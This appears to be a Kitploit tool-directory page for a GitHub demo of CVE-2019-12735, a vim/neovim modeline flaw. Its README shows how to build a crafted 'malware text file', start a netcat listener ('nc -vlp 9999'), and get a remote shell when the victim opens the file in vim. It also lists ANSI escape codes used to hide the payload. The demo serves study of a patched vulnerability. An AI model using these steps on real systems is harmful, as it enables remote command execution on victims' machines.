Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-12735 — A demo for cve-2019-12735 | Kitploit
Tools/GitHubGitHub/st9007a/cve-2019-12735
Vulnerability AnalysisExploitationShellcodeLearning & EducationPayload DevelopmentBinary ExploitationArchived
GitHubst9007a/cve-2019-12735

CVE-2019-12735

A demo for cve-2019-12735

View Repository
4 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-12735

This CVE was fixed after neovim 0.3.6 and vim 8.1.1365

POC

root@kitploit:~
vim demo1.txt

Remote shell

  1. Create malware text file:
root@kitploit:~
gcc make_demo3.c -o make_demo3
./make_demo3
  1. Build client in another session:
root@kitploit:~
nc -vlp 9999
  1. Open malware file:
root@kitploit:~
vim demo3.txt

And then, you can execute any linux commands in the session.

Reference

  • A POC demo on github
  • Exploit DB
  • netcat

ANSI

  • \x1b[?7l : 輸出到行末時不換行, 持續覆蓋最後一個字元
  • \x1bS: STS, Set transmit state
  • \x1b[1G: 移動到column 1
  • \x1b[K: 刪除從目前游標位置至行末的所有字元
Download Tool